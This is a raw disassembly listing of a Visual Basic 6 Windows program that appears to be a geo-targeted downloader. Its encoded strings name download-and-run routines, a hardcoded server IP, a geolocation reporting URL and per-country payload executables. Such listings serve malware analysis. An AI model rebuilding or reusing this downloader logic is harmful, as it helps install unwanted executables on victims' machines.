		dd 0Dh,	0Ch, 9,	0Dh, 0Ah, 9, 8,	0Bh, 0Ch, 0Ah, 8, 2 dup(0Ah)
		dd 7, 0Dh, 3, 2	dup(4),	5, 3 dup(6), 7,	6, 2 dup(7), 2 dup(8)
		dd 9, 8, 9, 0Ah, 2 dup(0Dh), 4 dup(0Bh), 2 dup(0Ch), 0Dh
		dd 2 dup(0)
		dd 7, 5, 7, 9, 2 dup(4), 6, 3 dup(5), 6, 4, 3 dup(5), 4
		dd 5, 4, 5, 4, 5, 4, 4 dup(5), 6, 5, 8,	5, 9, 4	dup(0)
		dd 7, 0
		dd 0Fh
dword_40B578	dd 6			; DATA XREF: sub_402EBD+70w
dword_40B57C	dd 0			; DATA XREF: sub_402EBD+69w
		dd 30350h, 680700h, 500h, 0C70800h, 40450h, 310800h, 70650h
		dd 830900h, 30350h, 0F0751h, 650600h, 1D0900h, 50450h
		dd 670800h, 10700h, 1FF0901h, 30350h, 8D0700h, 60550h
		dd 110851h, 40450h, 520800h, 90650h, 0E00900h, 30350h
		dd 0F0800h, 890600h, 460900h, 50450h, 7D0800h, 500700h
		dd 20F0901h, 30350h, 720700h, 500h, 0DC0800h, 40450h, 440800h
		dd 80650h, 0B40900h, 30350h, 20800h, 730600h, 360900h
		dd 50450h, 6E0800h, 450700h, 1EF0901h, 30350h, 0A0750h
		dd 60550h, 70900h, 40450h, 5F0800h, 0B0651h, 1F0952h, 30350h
		dd 200800h, 8B0600h, 5D0900h, 50450h, 0A80800h,	550700h
		dd 2090902h, 30350h, 700700h, 500h, 0D00800h, 40450h, 3F0800h
		dd 70650h, 940900h, 30350h, 1020750h, 650600h, 2F0900h
		dd 50450h, 6A0800h, 400700h, 1C70901h, 30350h, 0FF0700h
		dd 60550h, 1B0852h, 40450h, 560800h, 90650h, 0F00900h
		dd 30350h, 140800h, 890600h, 530900h, 50450h, 880800h
		dd 510700h, 1D90902h, 30350h, 740700h, 500h, 0F80800h
		dd 40450h, 490800h, 80650h, 0C80900h, 30350h, 80800h, 730600h
		dd 3C0900h, 50450h, 750800h, 4D0700h, 1B70901h,	30350h
		dd 0D0751h, 60550h, 110900h, 40450h, 630800h, 0B0651h
		dd 18F0901h, 30350h, 2E0800h, 8B0600h, 760900h,	50450h
		dd 0BC0800h, 640700h, 1DD0903h,	30350h,	680700h, 500h
		dd 0CC0800h, 40450h, 350800h, 70650h, 850900h, 30350h
		dd 0F0751h, 650600h, 210900h, 50450h, 690800h, 10700h
		dd 1830901h, 30350h, 8D0700h, 60550h, 130852h, 40450h
		dd 540800h, 90650h, 0EB0900h, 30350h, 100800h, 890600h
		dd 4E0900h, 50450h, 800800h, 500700h, 1930901h,	30350h
		dd 720700h, 500h, 0E80800h, 40450h, 480800h, 80650h, 0C30900h
		dd 30350h, 40800h, 730600h, 380900h, 50450h, 6F0800h, 450700h
		dd 1730901h, 30350h, 0A0750h, 60550h, 0A0900h, 40450h
		dd 610800h, 0B0651h, 14B0901h, 30350h, 280800h,	8B0600h
		dd 620900h, 50450h, 0B80800h, 550700h, 1910902h, 30350h
		dd 700700h, 500h, 0D80800h, 40450h, 430800h, 70650h, 0A40900h
		dd 30350h, 1020750h, 650600h, 330900h, 50450h, 6C0800h
		dd 400700h, 14B0901h, 30350h, 0FF0700h,	60550h,	30900h
		dd 40450h, 570800h, 90650h, 0F70900h, 30350h, 150800h
		dd 890600h, 5A0900h, 50450h, 980800h, 510700h, 1610902h
		dd 30350h, 740700h, 500h, 0FC0800h, 40450h, 4C0800h, 80650h
		dd 0D60900h, 30350h, 0C0800h, 730600h, 410900h,	50450h
		dd 780800h, 4D0700h, 13B0901h, 30350h, 0D0751h,	60550h
		dd 180900h, 40450h, 660800h, 0B0651h, 1130901h,	30350h
		dd 300800h, 8B0600h, 7C0900h, 50450h, 0C00800h,	640700h
		dd 16D0903h, 30350h, 680700h, 500h, 0C70800h, 40450h, 310800h
		dd 70650h, 840900h, 30350h, 0F0751h, 650600h, 1F0900h
		dd 50450h, 670800h, 10700h, 1010901h, 30350h, 8D0700h
		dd 60550h, 110851h, 40450h, 520800h, 90650h, 0E40900h
		dd 30350h, 0F0800h, 890600h, 4B0900h, 50450h, 7D0800h
		dd 500700h, 1110901h, 30350h, 720700h, 500h, 0DC0800h
		dd 40450h, 440800h, 80650h, 0BA0900h, 30350h, 20800h, 730600h
		dd 370900h, 50450h, 6E0800h, 450700h, 0F10901h,	30350h
		dd 0A0750h, 60550h, 90900h, 40450h, 5F0800h, 0B0651h, 0C90901h
		dd 30350h, 200800h, 8B0600h, 600900h, 50450h, 0A80800h
		dd 550700h, 10D0902h, 30350h, 700700h, 500h, 0D00800h
		dd 40450h, 3F0800h, 70650h, 950900h, 30350h, 1020750h
		dd 650600h, 320900h, 50450h, 6A0800h, 400700h, 0C90901h
		dd 30350h, 0FF0700h, 60550h, 1B0852h, 40450h, 560800h
		dd 90650h, 0F40900h, 30350h, 140800h, 890600h, 580900h
		dd 50450h, 880800h, 510700h, 0DD0902h, 30350h, 740700h
		dd 500h, 0F80800h, 40450h, 490800h, 80650h, 0D40900h, 30350h
		dd 80800h, 730600h, 3D0900h, 50450h, 750800h, 4D0700h
		dd 0B90901h, 30350h, 0D0751h, 60550h, 130900h, 40450h
		dd 630800h, 0B0651h, 910901h, 30350h, 2E0800h, 8B0600h
		dd 770900h, 50450h, 0BC0800h, 640700h, 0E50903h, 30350h
		dd 680700h, 500h, 0CC0800h, 40450h, 350800h, 70650h, 900900h
		dd 30350h, 0F0751h, 650600h, 240900h, 50450h, 690800h
		dd 10700h, 850901h, 30350h, 8D0700h, 60550h, 130852h, 40450h
		dd 540800h, 90650h, 0EC0900h, 30350h, 100800h, 890600h
		dd 4F0900h, 50450h, 800800h, 500700h, 950902h, 30350h
		dd 720700h, 500h, 0E80800h, 40450h, 480800h, 80650h, 0C40900h
		dd 30350h, 40800h, 730600h, 3A0900h, 50450h, 6F0800h, 450700h
		dd 750901h, 30350h, 0A0750h, 60550h, 0E0900h, 40450h, 610800h
		dd 0B0651h, 4D0901h, 30350h, 280800h, 8B0600h, 6D0900h
		dd 50450h, 0B80800h, 550700h, 950903h, 30350h, 700700h
		dd 500h, 0D80800h, 40450h, 430800h, 70650h, 0B00900h, 30350h
		dd 1020750h, 650600h, 340900h, 50450h, 6C0800h,	400700h
		dd 4D0901h, 30350h, 0FF0700h, 60550h, 60900h, 40450h, 570800h
		dd 90650h, 170952h, 30350h, 150800h, 890600h, 5C0900h
		dd 50450h, 980800h, 510700h, 650902h, 30350h, 740700h
		dd 500h, 0FC0800h, 40450h, 4C0800h, 80650h, 0D70900h, 30350h
		dd 0C0800h, 730600h, 420900h, 50450h, 780800h, 4D0700h
		dd 3D0901h, 30350h, 0D0751h, 60550h, 1C0900h, 40450h, 660800h
		dd 0B0651h, 150901h, 30350h, 300800h, 8B0600h, 7F0900h
		dd 50450h, 0C00800h, 640700h, 750904h
		dd 50100h, 0B0100h, 0D0100h, 120100h, 160100h, 170100h
		dd 190100h, 1B0100h, 1E0100h, 230100h, 270100h,	290100h
		dd 2A0100h, 2B0100h, 2C0100h, 2D0100h, 390100h,	3B0100h
		dd 3E0100h, 470100h, 4A0100h, 590100h, 5B0100h,	5E0100h
		dd 6B0100h, 710100h, 790100h, 7B0100h, 7E0100h,	860100h
		dd 8C0100h, 8E0100h, 910100h, 920100h, 930100h,	9A0100h
		dd 9C0100h, 0A00100h, 0AC0100h,	0B50100h, 0B70100h, 0BD0100h
		dd 0C10100h, 0CF0100h, 0D30100h, 0DB0100h, 0E90100h, 0EE0100h
		dd 0F60100h, 0FB0100h, 0FD0100h, 0FE0100h, 230153h, 1A0200h
		dd 230153h, 220200h, 250200h, 7A0200h, 260200h,	810200h
		dd 870200h, 960200h, 8A0200h, 990200h, 9D0200h,	9F0200h
		dd 9E0200h, 0A10200h, 0A20200h,	0A70200h, 0A60200h, 0AA0200h
		dd 0AB0200h, 0BF0200h, 0BB0200h, 0C20200h, 0C50200h, 0CD0200h
		dd 0CA0200h, 0D10200h, 0E60200h, 0F90200h, 0EF0200h, 3B0253h
		dd 430254h, 630254h, 530254h, 8F0300h, 430254h,	630254h
		dd 530254h, 970300h, 9B0300h, 0AF0300h,	0AD0300h, 0B30300h
		dd 0A90300h, 0B20300h, 0AE0300h, 0B60300h, 0B90300h, 0D50300h
		dd 0C60300h, 0DD0300h, 0BE0300h, 0DA0300h, 0C90300h, 0DF0300h
		dd 0E20300h, 0ED0300h, 0E50300h, 0FA0300h, 0E30300h, 0F30300h
		dd 0E70300h, 730354h
dword_40BF50	dd 830355h, 0E10400h, 0CE0400h,	1000460h, 0A50400h, 0F20400h
					; DATA XREF: .data:0040B068o
		dd 0D90400h, 330453h, 830355h, 0EA0400h, 0D20400h, 2B0453h
		dd 0CB0400h, 0F50400h, 0DE0400h, 0A30455h, 40450h, 0D0552h
		dd 1010457h, 6010559h, 210454h,	610555h, 4010459h, 2001055Ch
		dd 50451h, 310554h, 2010458h, 0C01055Ah, 810456h, 1810557h
		dd 10550h, 70651h, 40450h, 110553h, 1010457h, 801055Ah
		dd 210454h, 0C10556h, 4010459h,	4001055Dh, 50451h, 410555h
		dd 2010458h, 1001055Bh,	810456h, 3010558h, 90552h, 1801065Bh
		dd 40450h, 0D0552h, 1010457h, 6010559h,	210454h, 610555h
		dd 4010459h, 2001055Ch,	50451h,	310554h, 2010458h, 0C01055Ah
		dd 810456h, 1810557h, 10550h, 190653h, 40450h, 110553h
		dd 1010457h, 801055Ah, 210454h,	0C10556h, 4010459h, 4001055Dh
		dd 50451h, 410555h, 2010458h, 1001055Bh, 810456h, 3010558h
		dd 90552h, 10603h, 20150h, 3001025Ch, 20150h, 30350h, 20150h
		dd 3001025Ch, 20150h, 6001035Dh, 1001045Bh, 1810557h, 110553h
		dd 0D0652h, 210454h, 190553h, 2001045Ch, 2010558h, 801045Ah
		dd 810556h, 4001045Dh, 1801055Bh, 4010459h, 410555h, 3001045Ch
		dd 6010559h, 1001045Bh,	1010557h, 40550h, 90652h, 210454h
		dd 310554h, 2001045Ch, 3010558h, 801045Ah, 0C10556h, 4001045Dh
		dd 6001055Dh, 4010459h,	610555h, 3001045Ch, 0C01055Ah
		dd 1001045Bh, 1810557h,	110553h, 10603h, 50151h, 10250h
		dd 50151h, 20350h, 50151h, 10250h, 50151h, 30350h, 2A8h	dup(0)
dword_40CC00	dd 905A4Dh, 3, 4, 0FFFFh, 0B8h,	0 ; DATA XREF: sub_402EBD+81o
					; .data:off_414C04o ...
		dd 40h,	8 dup(0)
		dd 0B8h, 0EBA1F0Eh, 0CD09B400h,	4C01B821h, 685421CDh, 70207369h
		dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h
		dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0
		dd 0DBF98A8Fh, 3 dup(8897EBCBh), 8899F748h, 8897EBCAh
		dd 889EF4A2h, 8897EBCAh, 889AF422h, 8897EBCAh, 68636952h
		dd 8897EBCBh, 2	dup(0)
		dd 4550h, 3014Ch, 469462FDh, 2 dup(0)
		dd 10F00E0h, 6010Bh, 5000h, 2000h, 0
		dd 13A0h, 1000h, 6000h,	400000h, 2 dup(1000h), 4, 1, 4
		dd 0
		dd 8000h, 1000h, 0A098h, 2, 100000h, 1000h, 100000h, 1000h
		dd 0
		dd 10h,	2 dup(0)
		dd 4CE4h, 28h, 7000h, 8ACh, 10h	dup(0)
		dd 228h, 20h, 1000h, 124h, 6 dup(0)
a_text		db '.text',0
		align 4
aLb		db 'LB',0
		align 4
		dd 1000h, 5000h, 1000h,	3 dup(0)
		dd 60000020h, 7461642Eh, 61h, 0A0Ch, 6000h, 1000h, 6000h
		dd 3 dup(0)
		dd 0C0000040h, 7273722Eh, 63h, 8ACh, 7000h, 1000h, 7000h
		dd 3 dup(0)
		dd 40000040h, 45D70B04h, 10h, 2	dup(0)
aMsvbvm60_dll	db 'MSVBVM60.DLL',0
		align 4
		dd 36Eh	dup(0)
		dd 73668806h, 7365FE79h, 73676B2Eh, 7366EA4Ch, 7363C164h
		dd 73650DDBh, 73655F5Fh, 736772A2h, 7365F73Ah, 7365FDC1h
		dd 73655F3Ah, 73649CECh, 7365F6EEh, 7364B6BFh, 73649A69h
		dd 73653E62h, 7365F786h, 7365F886h, 7364B8FCh, 7366896Eh
		dd 736564F3h, 7366576Ah, 73643CF7h, 73639A94h, 73658A03h
		dd 73679836h, 73654C30h, 73650EBAh, 73649C21h, 7365FE76h
		dd 73678B65h, 73639AA7h, 7363CD88h, 73668A13h, 736399A5h
		dd 73653CA4h, 7366725Bh, 7365FB09h, 7365F83Ah, 736493C0h
		dd 73677553h, 73650DFAh, 73655E41h, 736542E6h, 73644F71h
		dd 736688ABh, 7363E3EEh, 7364388Ah, 73673C1Dh, 73643DEFh
		dd 7365F7BAh, 7365F8BAh, 7365610Eh, 7364CFA4h, 736560C5h
		dd 7365F7EEh, 7365F229h, 7364E42Fh, 7357357Ch, 73649B3Fh
		dd 73678CF8h, 73676E36h, 73676BF8h, 73678DCCh, 73649AC1h
		dd 73668740h, 736560F4h, 7365E36Dh, 73668AC4h, 7365D191h
		dd 736560B0h, 73649A27h, 2 dup(0)
		dd 80007h, 403C09h, 403C5Fh, 403C11h, 80007h, 403F3Ah
		dd 403F81h, 403F41h, 80007h, 4041D0h, 404206h, 4041D7h
		dd 140027h, 40449Ah, 4044C2h, 4044A1h, 0
		dd offset loc_40116E+2
		dd 8, 40429Ah, 4042A1h,	4042E6h, 4042F5h, 404317h, 404409h
		dd 404421h, 40449Ah, 0
		dd 80003h, 404589h, 40458Eh, 0
		dd 8000Fh, 40470Ch, 404736h, 404713h, 80001h, 4047AAh
		dd 80007h, 4048ECh, 404907h, 4048F3h, 80007h, 404B6Eh
		dd 404B89h, 404B75h, 80007h, 404C96h, 404CA7h, 404C9Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40DDF0	proc near		; CODE XREF: .data:00410E6Ep
		jmp	dword ptr ds:loc_401054
sub_40DDF0	endp

; ---------------------------------------------------------------------------
		dw 25FFh
		dd offset loc_40108C
		dd 10A025FFh, 25FF0040h, 401040h, 103025FFh, 25FF0040h
		dd 4010C8h, 102025FFh, 25FF0040h, 4010E0h, 104425FFh, 25FF0040h
		dd 4010DCh, 10CC25FFh, 25FF0040h, 401098h, 107425FFh, 25FF0040h
		dd 401094h, 102425FFh, 25FF0040h, 401004h, 110425FFh, 25FF0040h
		dd 401000h, 111425FFh, 25FF0040h, 4010B4h, 104C25FFh, 25FF0040h
		dd 401084h, 111025FFh, 25FF0040h, 40110Ch, 110025FFh, 25FF0040h
		dd 401070h, 10F025FFh, 25FF0040h, 4010FCh, 109C25FFh, 25FF0040h
		dd 4010ECh, 10B825FFh, 25FF0040h, 401050h, 101825FFh, 25FF0040h
		dd 40106Ch, 106025FFh, 25FF0040h, 4010B0h, 10D425FFh, 25FF0040h
		dd 4010E4h, 10AC25FFh, 25FF0040h, 40103Ch, 10C425FFh, 25FF0040h
		dd 401034h, 105825FFh, 25FF0040h, 401068h, 10BC25FFh, 25FF0040h
		dd 4010C0h, 101025FFh, 25FF0040h, 4010D8h, 10A825FFh, 25FF0040h
		dd 401080h, 10A425FFh, 25FF0040h, 4010F8h, 104825FFh, 25FF0040h
		dd 401064h, 100C25FFh, 25FF0040h, 4010F4h, 109025FFh, 25FF0040h
		dd 401008h, 101C25FFh, 25FF0040h, 40111Ch, 103825FFh, 25FF0040h
		dd 401078h, 101425FFh, 25FF0040h, 401118h, 102C25FFh, 25FF0040h
		dd 401028h, 110825FFh, 25FF0040h, 4010D0h, 108825FFh, 25FF0040h
		dd 40105Ch, 107C25FFh, 25FF0040h, 4010E8h, 40155468h, 0FFF0E800h
		dd 0FFFFh, 0
		dd 30h,	40h, 0
		dd 4769BDDFh, 43255A2Bh, 0D9682F96h, 18128D02h,	0
		dd 10000h, 72650000h, 68772065h, 46363062h, 31655564h
		dd 333830h, 65656C69h, 0
		dd 31CCFFh, 0C9D5C101h,	0DC48A635h, 51F68340h, 0BE17544Bh
		dd 2D5DAB80h, 2AC9EBBEh, 0E7C8BC4Dh, 1CEF5BDEh,	0AD4F3AB8h
		dd 0CF669933h, 0CB711h,	0D36000AAh, 93h, 8 dup(0)
		dd 0BA00h, 4000h, 50000h, 6D726F46h, 10D0031h, 6F460005h
		dd 316D72h, 42000119h, 0FFFF2300h, 524FFFFh, 726F4600h
		dd 2E00316Dh, 3C3500h, 1590000h, 12480000h, 0C7B0000h
		dd 3460000h, 7301FFh, 5010000h,	656E4900h, 0FF003174h
		dd 6E490014h, 74437465h, 624F736Ch, 7463656Ah, 6E492E73h
		dd 2D007465h, 9424Ch, 3Ah, 12344321h, 8, 2 dup(3EDh), 48E59291h
		dd 60000h, 10000h, 0
		dd 50h,	4 dup(0)
		dd 3C0000h, 68390000h, 3A000001h, 8E8h,	402FFh,	50h, 35C9D5C1h
		dd 40DC48A6h, 4B51F683h, 80BE1754h, 5 dup(0)
		dd 90h,	5 dup(0)
		dd 113h, 0
		dd offset loc_4013EC+4
		dd 4Ch,	21354256h, 2A1FF0h, 3 dup(0)
		dd 7Eh,	2 dup(0)
		dd 0A0000h, 409h, 2 dup(0)
		dd offset loc_40173F+1
		dd 30F000h, 0FFFFFF00h,	8, 1, 10001h, 0E9h, 401504h, 4015F0h
		dd 4013ACh, 78h, 84h, 8Eh, 8Fh,	4 dup(0)
aB06fdue1083	db 'b06FdUe1083',0
aT20070711	db 'T20070711',0
		dw 6200h
a06fdue1083	db '06FdUe1083',0
		align 10h
		dd 150h, 38h, 2	dup(0)
		dd 0D0h, 0D8h, 0
		dd 0E0h, 48h, 0
		dd 128h, 133h, 148h, 0
		dd 48E59293h, 11CF9880h, 0AA005497h, 809C000h, 48E59292h
		dd 11CF9880h, 0AA005497h, 809C000h, 48E59291h, 11CF9880h
		dd 0AA005497h, 809C000h, 5F8B7FCCh, 48DF3393h, 0F993C39Eh
		dd 91EDDC69h, 68FDD55Ah, 4A5E1ADDh, 5AD198BBh, 5A414401h
		dd 1FFh, 0E6F8h, 0F9844600h, 7CFh, 1335BCE6h, 41562787h
		dd 6EB237AAh, 7BEE71C5h, 2786A618h, 40B85EA6h, 4CD49F9Ah
		dd 0D681FEE1h, 0
aW		db '`',0Bh,'W ',0
		align 4
		dd 10000h, 2 dup(0)
		dd 2 dup(0D100h), 20h, 0DCh, 380037h, 310045h, 440042h
		dd 310044h, 39002Dh, 340039h, 2D0031h, 310031h,	660063h
		dd 39002Dh, 350037h, 2D0036h, 300030h, 410041h,	300030h
		dd 300043h, 390030h, 380030h, 4E49534Dh, 4F2E5445h, 49005843h
		dd 4374656Eh, 4F736C74h, 63656A62h, 492E7374h, 74656Eh
		dd 74656E49h, 14D00h, 1F4h, 401BCCh, 0
		dd offset loc_402EEF+1
		dd offset loc_404CDF+1
		dd 0A04h, 406008h, 4011F6h, 406000h, 5C002Ah, 430041h
		dd 5C003Ah, 720050h, 67006Fh, 610072h, 20006Dh,	690046h
		dd 65006Ch, 5C0073h, 69004Dh, 720063h, 73006Fh,	66006Fh
		dd 200074h, 690056h, 750073h, 6C0061h, 530020h,	750074h
		dd 690064h, 5C006Fh, 420056h, 380039h, 62005Ch,	310030h
		dd 640046h, 650055h, 300031h, 340036h, 76002Eh,	700062h
		dd 64h dup(0)
		dd offset loc_401502+2
		dd 0
		dd 1, 401BCCh, 0
		dd offset loc_402DBF+1
		dd 0FFFFFFFFh, 0
		dd offset loc_401C20
		dd offset loc_406006+2
		align 10h
		dd 1778D8h, 3 dup(0)
		dd offset loc_4019F4
		dd 1, 401CA8h, 0
		dd offset loc_4019F4
		dd 1, 4019FCh, 0
		dd offset loc_4019F4+4
		dd 2, 4019FCh, 1B7000Ah, 6C0068h, 401A4Ch, 4062E0h, 0
		dd 2272C0h, 401CB8h, 401CC8h, 0A0040h, 34h, 401CD8h, 30001h
		dd 2 dup(0)
		dd offset loc_401A6F+5
		dd 22A9B8h, 401CE8h, 30001h, 1F0040h, 38h, 401D58h, 0FFFFFFFFh
		dd 2 dup(0)
		dd offset loc_401AB4
		dd 22A9C8h, 401D68h, 0FFFFFFFFh, 401B5Dh, 401B6Ah, 401B77h
		dd 401B84h, 401B91h, 401B9Eh, 401BABh, 401BB8h,	401BC5h
		dd 401B50h, 0
		dd offset loc_4019FC
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 0Bh dup(0)
		dd offset loc_401A24
		dd offset loc_40197C
		dd offset loc_401387+1
		dd offset loc_40138A+4
		dd offset loc_401394
		dd 6 dup(0)
		dd offset loc_401B48	; jumptable 00401ADD case 12
		dd 18h dup(0)
		dd 4246C81h, 37h, 13ABE9h, 246C8100h, 0FFFF04h,	217EE900h
		dd 6C810000h, 0FFFF0424h, 61E90000h, 81000024h,	0FF04246Ch
		dd 0E90000FFh, 26D4h, 4246C81h,	0FFFFh,	2977E9h, 246C8100h
		dd 0FFFF04h, 2A3AE900h,	6C810000h, 0FFFF0424h, 0CDE90000h
		dd 8100002Bh, 0FF04246Ch, 0E90000FFh, 2C30h, 4246C81h
		dd 0FFFFh, 2D83E9h, 246C8100h, 0FFFF04h, 3006E900h, 2 dup(0)
		dd offset loc_40602B+1
		dd offset loc_402DFE+2
		dd 0FFFFFFFFh, 0
		dd offset loc_40601B+1
		dd 0CA2FBD5Ah, 4581B5FFh, 866784B6h, 7E4E9C21h,	1000Ah
		dd 10001h, 401C20h, 3 dup(0)
		dd offset loc_401C8B+1
		dd 2 dup(409h),	0
		dd 2, 40197Ch, 0FFFFFFFFh, 401E68h, 3 dup(0)
		dd offset loc_401C76+2
		dd 0Ah,	401C50h, 0FFFFh, 18083h, 2 dup(0)
		dd offset loc_401DE3+1
		dd offset loc_401DEE+2
		dd offset loc_401DF8+4
		dd offset loc_401E08	; jumptable 0040148C case 39
		dd offset loc_401E12+2
		dd offset loc_401E1E+2
		dd offset loc_401E34	; jumptable 0040148C case 40
		dd offset loc_401E43+1
		dd offset loc_401E53+1
aForm1		db 'Form1',0
		align 10h
aB05fdue1081	db 'b05FdUe1081',0
aB06fdue1083_0	db 'b06FdUe1083',0
		dd 0BE2D5DABh, 4D2AC9EBh, 0DEE7C8BCh, 0B81CEF5Bh, 0BCC46586h
		dd 43CA892Ah, 3D7201A2h, 0BA988B46h, 35C9D5C1h,	40DC48A6h
		dd 4B51F683h, 80BE1754h, 45913B62h, 46C53D3Fh, 0C712D084h
		dd 0F7A7E0DCh, 1335BCE6h, 41562787h, 6EB237AAh,	7BEE71C5h
		dd 74656E49h, 31h, 4AD3113Eh, 4E8EE8BFh, 0B73074AFh, 0B030B717h
		dd 575C3A43h, 4F444E49h, 735C5357h, 65747379h, 5C32336Dh
		dd 4E49534Dh, 6F2E5445h, 6163h,	74656E49h, 736C7443h, 656A624Fh
		dd 737463h, 401CF0h, 0
		dd 1, 0
		dd offset loc_401D00
		dd offset loc_401D20
		dd offset loc_4062CE+2
		dd 2 dup(0)
		dd 1B6A48h, 33AD4F3Ah, 11CF6699h, 0AA000CB7h, 93D36000h
		dd 6D726F46h, 0
		dd 0FCFB3D2Eh, 1068A0FAh, 838A7h, 0B571332Bh, 505C3A43h
		dd 72676F72h, 46206D61h, 73656C69h, 63694D5Ch, 6F736F72h
		dd 56207466h, 61757369h, 7453206Ch, 6F696475h, 3942565Ch
		dd 42565C38h, 4C4F2E36h, 42h, 4256h, 401D70h, 0
		dd 6, 9, 401D80h, 401DB8h, 4062D4h, 2 dup(0)
		dd 1B6A48h, 6E776F44h, 64616F6Ch, 707041h, 546E7552h, 6B636172h
		dd 676E69h, 656C6946h, 73697845h, 74h, 45726944h, 74736978h
		dd 73h,	72747845h, 50746361h, 687461h, 63657053h, 63696669h
		dd 656C6946h, 73697845h, 7374h,	61657243h, 4D546574h, 6C6F4650h
		dd 726564h, 61657243h, 4D546574h, 6C694650h, 65h, 656C6544h
		dd 6F446574h, 6F6C6E77h, 70416461h, 70h, 44000Ch, 2 dup(0)
		dd 8, 300031h, 330038h,	0
		dd 0Eh,	300062h, 460036h, 550064h, 65h,	4, 590062h, 0
		dd 14h,	610050h, 740072h, 70006Dh, 6C002Eh, 67006Fh, 0
		dd 18h,	3A0043h, 54005Ch, 6D0065h, 5C0070h, 720062h, 5C0072h
		dd 0
		dd 0Eh,	6C002Fh, 4C0050h, 580065h, 2Fh,	8, 650054h, 70006Dh
		dd 0
		dd 6, 720062h, 72h, 1Ah, 340036h, 32002Eh, 350032h, 31002Eh
		dd 380035h, 37002Eh, 33h, 8, 65002Eh, 650078h, 0
		dd 0Ah,	54005Ch, 6D0061h, 4Fh, 34h, 3A0043h, 57005Ch, 4E0049h
		dd 54004Eh, 53005Ch, 730079h, 650074h, 33006Dh,	5C0032h
		dd 610063h, 63006Ch, 65002Eh, 650078h, 0
		dd 0Ah,	690057h, 32006Eh, 4Bh, 0Ah, 490057h, 4E004Eh, 54h
		dd 14h,	500058h, 57002Dh, 4E0049h, 300032h, 330030h, 0
		dd 0Eh,	490057h, 44004Eh, 57004Fh, 53h,	0Eh, 740068h, 700074h
		dd 2F003Ah, 2Fh, 2Ah, 72002Fh, 700065h,	72006Fh, 690074h
		dd 67006Eh, 49002Fh, 470070h, 6F0065h, 61002Eh,	700073h
		dd 78h,	2, 7Ch,	4, 530055h, 0
		dd 12h,	590062h, 300030h, 2E0031h, 780065h, 65h, 4, 410043h
		dd 0
		dd 12h,	590062h, 300030h, 2E0032h, 780065h, 65h, 4, 4B0055h
		dd 0
		dd 12h,	590062h, 300030h, 2E0033h, 780065h, 65h, 8, 550045h
		dd 4F0052h, 0
		dd 12h,	590062h, 300030h, 2E0034h, 780065h, 65h, 0Ah, 54004Fh
		dd 450048h, 52h, 12h, 590062h, 300030h,	2E0035h, 780065h
		dd 65h,	6, 3A0043h, 5Ch, 2, 5Ch, 740h, 52002Fh,	3F003Fh
		dd 760078h, 6D003Fh, 3F0078h, 3D003Fh, 5B007Ah,	1E003Fh
		dd 66006Fh, 4B0031h, 3F0066h, 3F003Fh, 3F000Fh,	6B003Fh
		dd 3F003Fh, 27005Eh, 3F0073h, 2C003Fh, 3 dup(3F003Fh)
		dd 3F005Ah, 3F003Fh, 4F0027h, 270063h, 3F003Fh,	1D003Fh
		dd 3F006Ch, 62003Fh, 3F003Fh, 660036h, 31003Fh,	4D003Fh
		dd 3F004Dh, 17003Fh, 3 dup(3F003Fh), 34003Fh, 7C0071h
		dd 3F003Fh, 3F007Fh, 6D003Fh, 35001Ah, 6F003Fh,	3F003Fh
		dd 3F007Dh, 4B003Fh, 3F007Ah, 6C002Fh, 37003Fh,	3F006Eh
		dd 3F006Bh, 3F003Fh, 3B007Eh, 3F003Fh, 4B003Fh,	6F003Fh
		dd 3 dup(3F003Fh), 37002Bh, 5E006Fh, 33003Fh, 3F003Fh
		dd 6E003Fh, 38005Dh, 3F007Bh, 3F0046h, 3F003Fh,	3F0073h
		dd 2 dup(3F003Fh), 3F0026h, 75003Fh, 3F003Fh, 3E0002h
		dd 7E003Fh, 61003Fh, 3F0021h, 3F003Fh, 20007Fh,	7B0053h
		dd 3F0035h, 3F0031h, 1B003Fh, 3F003Fh, 42003Fh,	3F0007h
		dd 76007Bh, 2 dup(3F003Fh), 3F006Bh, 7D003Fh, 3F003Fh
		dd 4A0031h, 750037h, 3F003Fh, 3F0048h, 3F0034h,	3F0069h
		dd 70045h, 2 dup(3F003Fh), 39005Dh, 1A003Fh, 3F003Fh, 64002Eh
		dd 3F0050h, 2 dup(3F003Fh), 7E003Fh, 7F005Bh, 3F006Ah
		dd 5003Fh, 2F003Fh, 3F006Dh, 6B003Fh, 75003Fh, 54003Fh
		dd 19003Fh, 35003Fh, 3F007Fh, 3F003Fh, 6B0048h,	49003Fh
		dd 2 dup(3F003Fh), 60071h, 7A007Bh, 10063h, 6007Bh, 3F003Dh
		dd 2E0059h, 27003Fh, 21003Fh, 3	dup(3F003Fh), 5C003Fh
		dd 37001Ah, 3F003Fh, 3F00B3h, 3F0039h, 3F003Fh,	35005Ah
		dd 5 dup(3F003Fh), 3F004Fh, 3F003Fh, 1B0013h, 3F003Fh
		dd 0E003Fh, 3F003Fh, 3F0041h, 3F003Fh, 3F0034h,	23003Fh
		dd 15001Eh, 2 dup(3F003Fh), 750075h, 6D003Fh, 440054h
		dd 700078h, 3F003Fh, 2F003Fh, 340016h, 3 dup(3F003Fh)
		dd 3F006Ch, 5 dup(3F003Fh), 5B003Fh, 3F003Fh, 3C0036h
		dd 5D00B4h, 2 dup(3F003Fh), 3F0055h, 16003Fh, 3F0051h
		dd 60003Fh, 2F0037h, 65003Fh, 2	dup(3F003Fh), 160004h
		dd 3F005Dh, 3F003Fh, 3F000Eh, 3F003Fh, 3D0019h,	3F003Fh
		dd 66003Fh, 320066h, 59001Fh, 3F007Ah, 3F003Fh,	3F0054h
		dd 35003Fh, 110077h, 3F007Fh, 3F003Fh, 15006Fh,	3 dup(3F003Fh)
		dd 12003Fh, 40003Fh, 2 dup(3F003Fh), 3F017Dh, 3F0079h
		dd 2 dup(3F003Fh), 70003Fh, 3F005Ch, 2 dup(3F003Fh), 3A0062h
		dd 3F0041h, 67003Fh, 2 dup(3F003Fh), 3F0020h, 3D002Bh
		dd 7B007Fh, 3F0033h, 3E003Fh, 3F003Dh, 3F003Fh,	0FF003Fh
		dd 6F003Fh, 2 dup(3F003Fh), 7E007Ch, 3F003Fh, 3F007Eh
		dd 7B000Eh, 3F003Fh, 35003Fh, 3F0037h, 3F003Fh,	4D003Fh
		dd 3 dup(3F003Fh), 59003Fh, 17D003Fh, 7C0065h, 3F003Fh
